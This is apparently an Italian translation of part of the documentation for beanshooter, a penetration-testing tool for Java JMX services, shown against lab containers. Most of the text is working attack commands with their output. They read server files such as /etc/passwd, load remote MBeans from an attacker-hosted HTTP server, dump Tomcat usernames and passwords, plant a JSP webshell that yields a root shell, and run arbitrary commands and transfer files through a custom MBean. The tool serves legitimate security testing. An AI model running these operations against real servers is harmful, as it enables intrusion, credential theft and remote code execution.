La distribuzione del Bean tramite l'azione `standard` **non** richiede connessioni di rete in uscita dal server di destinazione.
#### Esportazione Generica
A volte non è possibile servire un'implementazione *MBean* utilizzando il server stager di *beanshooters*. Uno scenario comune è che le connessioni in uscita verso la tua macchina locale siano bloccate. In queste situazioni, potresti voler caricare l'*MBean* da un'altra posizione, come un servizio *SMB* nella rete interna a cui hai accesso in scrittura.
L'azione `export` esporta il file *jar* che implementa l'*MBean* specificato e un corrispondente documento *MLet HTML* necessario per caricare l'*MBean* usando *MLet*. Supponendo che tu voglia servire il *TonkaBean* da un servizio *SMB* in ascolto su `10.10.10.5`, potresti usare il comando seguente:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/
Successivamente, è possibile caricare il jar esportato e il file index.html al servizio SMB e utilizzare l'azione deploy di beanshooters
con l'opzione --stager-url file:////10.10.10.5/share/index.html.
L'azione info elenca le informazioni sui metodi e attributi del MBean specificato:```console
[qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090
[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean
[+] ObjectName: Users:type=UserDatabase,database=UserDatabase
[+]
[+] Attributes:
[+] modelerType (type: java.lang.String , writable: false)
[+] readonly (type: boolean , writable: false)
[+] roles (type: [Ljava.lang.String; , writable: false)
[+] groups (type: [Ljava.lang.String; , writable: false)
[+] users (type: [Ljava.lang.String; , writable: false)
[+] pathname (type: java.lang.String , writable: true)
[+] writable (type: null , writable: false)
[+]
[+] Operations:
[+] java.lang.String findGroup(java.lang.String groupname)
[+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)
[+] void removeGroup(java.lang.String groupname)
[+] void removeUser(java.lang.String username)
[+] void save()
[+] java.lang.String findRole(java.lang.String rolename)
[+] void removeRole(java.lang.String rolename)
[+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description)
[+] java.lang.String findUser(java.lang.String username)
[+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)
#### Invocazione Generica
L'azione `invoke` può essere utilizzata per invocare un metodo arbitrario sul *MBean* specificato:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase
L'azione stats elenca alcune informazioni generali sul MBean specificato. Queste sono le informazioni che beanshooters memorizza localmente sul MBean corrispondente e non è richiesta alcuna interazione con il server.```console
[qtc@devbox ~]$ beanshooter tonka stats
[+] MBean: tonka
[+] Object Name: MLetTonkaBean:name=TonkaBean,id=1
[+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)
L'informazione `Jar File` indica se un'implementazione del corrispondente *MBean* è integrata
in *beanshooter*. Questo file jar viene utilizzato durante il deployment, se non sovrascritto tramite l'opzione `--jar-file`.
Attualmente, *TonkaBean* è l'unico *MBean* che ha un *Jar File* disponibile.
#### Generic Status
L'azione `status` verifica se il corrispondente *MBean* è già disponibile sul servizio *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed
L'azione di disinstallazione rimuove l'MBean specificato da un servizio JMX remoto:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.
### Diagnostico
---
Il *DiagnosticCommandMBean* è un utile *MBean* che viene spesso distribuito per impostazione predefinita sui *server JMX*.
Implementa diversi metodi interessanti da una prospettiva offensiva. Alcuni di essi sono implementati come operazioni *beanshooter*. Altri possono ovviamente essere invocati manualmente.
#### Lettura diagnostica
L'operazione `read` può essere utilizzata per leggere file di testo sul server *MBean*. L'operazione utilizza il metodo `addCompilerDirective` per causare un'eccezione che contiene il contenuto del file di testo specificato:```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Questa tecnica è stata originariamente implementata da @TheLaluka all'interno del jolokia-exploitation-toolkit.
L'operazione load può essere utilizzata per caricare una libreria condivisa dal filesystem del server JMX:```console
[qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6
[+] The server complained about the missing function Agent_OnAttach
[+] The specified library was loaded succesfully.
#### Logfile di diagnostica
L'azione `logfile` può essere utilizzata per cambiare la posizione del logfile del *JVM*:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log
L'azione nolog può essere utilizzata per disabilitare la registrazione (utile per chiudere l'handle del file di log):```console
[qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090
[+] Logging was disabled successfully.
#### Riga di comando diagnostica
L'azione `cmdline` stampa la riga di comando con cui è stato avviato il *JVM*:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD
L'azione props stampa un elenco di proprietà di sistema:```console
[qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090
#Mon Jul 25 19:17:52 UTC 2022
com.sun.management.jmxremote.rmi.port=1099
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
...
### HotSpot
---
*HotSpotDiagnosticMXBean* fornisce un'interfaccia per gestire la *HotSpot Virtual Machine*
e supporta alcuni metodi utili da un punto di vista offensivo.
#### HotSpot dump
L'azione `dump` crea un heapdump e lo salva in una posizione arbitraria sul server applicativo.
L'unico requisito è che il dump venga salvato come file con estensione `.hprof`:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.
L'azione list stampa un elenco delle Opzioni Diagnostiche disponibili e dei loro valori associati:```console
[qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090
[+] HeapDumpBeforeFullGC (value = false, writable = true)
[+] HeapDumpAfterFullGC (value = false, writable = true)
[+] HeapDumpOnOutOfMemoryError (value = false, writable = true)
[+] HeapDumpPath (value = , writable = true)
...
#### HotSpot get
L'azione `get` consente di ottenere il valore dell'opzione specificata:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true
L'azione set consente di impostare il valore dell'opzione specificata:```console
[qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true
[+] Option was set successfully.
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: true
[+] Writable: true
### MLet
---
*MLetMBean* è un noto *MBean* che può essere utilizzato per caricare ulteriori *MBean* attraverso la
rete. È già utilizzato implicitamente dall'azione `deploy` di *beanshooters*, ma può anche essere invocato
manualmente tramite l'operazione `mlet`.
#### Caricamento con MLet
L'unico metodo *MLet* attualmente implementato è l'operazione `load` che può essere utilizzata per caricare
una classe *MBean* da un *URL* specificato dall'utente:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 3584de270132420aaf0812366bc46035
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /3584de270132420aaf0812366bc46035
[+] Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.
L'esempio sopra dimostra come il TonkaBean possa essere caricato manualmente usando l'operazione mlet. Se
si desidera caricare un MBean personalizzato invece, è necessario specificare la parola chiave custom invece di tonka e fornire
le opzioni --class-name, --object-name e --jar-file:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[+] Starting MBean deployment.
[+] ...
[+] MBean was loaded successfully.
### Recoder
---
Il *FlightRecorderMXBean* fornisce un'interfaccia per gestire il *Flight Recorder*
e supporta alcuni metodi interessanti da una prospettiva offensiva.
#### Recoder new
L'operazione `new` avvia una nuova registrazione. L'ID della registrazione restituito può essere utilizzato come obiettivo
per altre operazioni:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1
L'azione start avvia una registrazione già esistente e richiede l'ID della registrazione come argomento aggiuntivo:```console
[qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1
[+] Recording with ID 1 started successfully.
#### Recoder dump
Mentre una registrazione è attiva, i suoi contenuti possono essere scaricati utilizzando l'azione `dump`. Questo archivia le informazioni di registrazione in un file di dump sul *server JMX*:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat
L'azione stop può essere utilizzata per fermare una registrazione:```console
[qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1
[+] Recording with ID 1 stopped successfully.
#### Salvataggio del registratore
Dopo che una registrazione è stata interrotta, può essere salvata usando l'azione `save`. A differenza dell'azione `dump`, questa salva la registrazione sulla macchina locale invece che sul server dell'applicazione.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat
L'operazione tomcat interagisce con il MemoryUserDatabaseMBean di Apache Tomcat. Questo MBean fornisce accesso agli account utente disponibili su un servizio Tomcat.
L'azione dump esporta i nomi utente e le password disponibili sul server Tomcat in file locali.
Quando invocata con un singolo argomento, le credenziali vengono esportate nel formato <username>:<password>:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/creds.txt
[qtc@devbox ~]$ cat creds.txt
manager:P@55w0rD#
admin:s3cr3T!$
status:[email protected]
Quando invocato con due argomenti, i nomi utente vengono memorizzati nella prima posizione specificata, le password nella seconda:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt
L'operazione list elenca gli account utente disponibili, i loro ruoli associati e le credenziali:```console
[qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090
[+] Listing tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: status
[+] Password: [email protected]
[+] Roles:
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
#### Tomcat Write
L'operazione `write` scrive un file parzialmente controllato in una posizione arbitraria sul server dell'applicazione. Questa azione può essere utilizzata per distribuire in modo affidabile una webshell su un servizio *Tomcat*:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Current user database is at conf/tomcat-users.xml
[+] Current user database is readonly
[+] Adjusting readonly property to make it writable.
[+] Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Creating new role containing the local file content.
[+] Saving modified user database.
[+] Restoring readonly property.
[+] Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)
L'azione write sfrutta un bug di codifica all'interno di UserDatabase MBean di Apache Tomcat. Abbiamo segnalato
il bug, ma non è stato considerato una vulnerabilità di sicurezza. Per scrivere in posizioni arbitrarie, beanshooter
deve modificare la posizione di UserDatabase. Tutte le modifiche vengono ripristinate dopo che il file desiderato è stato scritto,
ma bisogna comunque fare attenzione negli ambienti di produzione.
TonkaBean è un MBean personalizzato implementato dal progetto beanshooter e consente
l'accesso al file system e l'esecuzione di comandi sul server JMX. Le sue azioni possono essere richiamate
utilizzando l'operazione tonka, seguita dall'azione desiderata.
L'azione exec può essere utilizzata per invocare un singolo comando sul servizio JMX:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id
[+] Invoking the executeCommand method with argument: id
[+] The call was successful
[+]
[+] Server response:
uid=0(root) gid=0(root) groups=0(root)
L'ultimo argomento dell'operazione exec deve essere una stringa. Quando l'opzione `--shell` non viene utilizzata, questa stringa viene suddivisa in base agli spazi (tenendo conto delle virgolette) e passata come array alla classe `ProcessBuilder` sul lato server.
Se si utilizza `--shell`, la stringa di shell specificata viene suddivisa in base agli spazi e l'array risultante viene concatenato con la stringa di argomento specificata prima di passarla alla classe `ProcessBuilder`. Ciò consente un'esecuzione simile a quella della shell con corretta interpretazione dei caratteri speciali della shell:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b
Per comodità, le shell comuni vengono automaticamente suffisse con l'argomento della stringa di comando richiesto.
Pertanto, --shell ash viene automaticamente convertito in --shell 'ash -c'.
L'operazione execarray è molto simile all'azione exec, ma anziché aspettarsi una stringa come argomento e suddividere questa stringa in base agli spazi per costruire l'array di comandi, l'operazione execarray consente di specificare più argomenti che vengono utilizzati direttamente come array di comandi per la classe ProcessBuilder:```console
[qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOME
[+] The call was successful
[+]
[+] Server response:
/root
#### Tonka Shell
L'azione `shell` genera una shell di comandi in cui puoi specificare comandi che vengono eseguiti sul server *JMX*.
La shell non è completamente interattiva e rappresenta solo un wrapper attorno al metodo `Runtime.exec` di *Java*.
Tuttavia, è implementato il supporto di base per le variabili d'ambiente e una directory di lavoro corrente:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example
L'esempio sopra dimostra come impostare le variabili d'ambiente utilizzando la parola chiave !env. Oltre a questa parola chiave, ne sono disponibili diverse altre:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ !help
Available shell commands:
execute the specified command
cd
#### Tonka Upload
L'azione `upload` può essere utilizzata per caricare un file sul server *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat
L'azione download può essere usata per scaricare un file dal server JMX:```console
[qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd
[+] Saving remote file /etc/passwd to local path /home/qtc/passwd
[+] 1172 bytes were written to /home/qtc/passwd
### JMXMP
---
*JMX* i servizi possono utilizzare diversi tipi di connettori. Il connettore di gran lunga più utilizzato è *Java RMI*, che consente l'accesso a *JMX* basato sul protocollo *Java RMI*. Un altro connettore popolare è il *JMX Message Protocol* (*JMXMP*) che, nonostante sia obsoleto, viene ancora incontrato abbastanza spesso. *beanshooter* dispone del supporto integrato per *JMXMP* e tenta di connettersi tramite *JMXMP* quando si utilizza l'opzione `--jmxmp`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server does not use SASL.
[+] Login is possible without specifying credentials.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] - 22 MBeans are currently registred on the MBean server.
[+] Found 0 non default MBeans.
Gli endpoint JMXMP autenticati sono solitamente protetti usando SASL. Con SASL abilitato, un endpoint JMX richiede solitamente che il client si connetta con un SASL Profile specifico. I profili disponibili per beanshooter sono:
Ciascuno di essi può essere opzionalmente abbinato a TLS utilizzando l'opzione --ssl. Quando si utilizza l'azione enum su un endpoint JMXMP protetto da SASL, beanshooter tenta di enumerare il SASL Profile richiesto. Sebbene determinare il meccanismo SASL richiesto sia solitamente possibile, l'impostazione TLS richiesta non può essere enumerata:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/NTLM SASL profile.
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
### Supporto per Jolokia
---
A partire da *v4.0.0*, *beanshooter* supporta endpoint JMX basati su [Jolokia](https://github.com/rhuss/jolokia).
Stabilire connessioni a un endpoint basato su *Jolokia* richiede il formato target usuale e il flag `--jolokia`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] - Login successful! The specified credentials are correct.
[+] Username: manager - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] - Agent Version 1.7.1 - Protocol Version: 7.2
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] - Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 75 MBeans are currently registred on the MBean server.
[+] Listing 56 non default MBeans:
...
A causa del set di funzionalità limitato di Jolokia, non tutte le operazioni di beanshooter sono supportate. Consultare le FAQ di Jolokia per qualsiasi domanda. Per sperimentare con Jolokia, beanshooter fornisce un server di esempio che espone un endpoint Jolokia sulla porta 8080. Inoltre, un endpoint JMX basato su RMI si trova sulla porta 1090.
Dalla versione v3.1.1, beanshooter è disponibile anche come immagine Docker e può essere scaricata dal Registro Container GitHub. Per ogni release, sono disponibili una versione normale e una snella. Entrambe forniscono una versione funzionante completa di beanshooter, ma solo la versione normale include ysoserial, risultando in una dimensione dell'immagine maggiore:
docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MBdocker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MBPuoi anche costruire il contenitore autonomamente eseguendo i seguenti comandi:```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .
### Server di esempio
---
La maggior parte degli esempi presentati sopra si basano sul [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
e sul [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).
Questi server sono contenuti in questo repository nella cartella [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) e possono essere utilizzati per esercitarsi nell'enumerazione *JMX*.
Puoi costruire i contenitori corrispondenti da solo o caricarli direttamente dal *GitHub Container Registry*.
Copyright 2023, Tobias Neitzel e i contributori di *beanshooter*.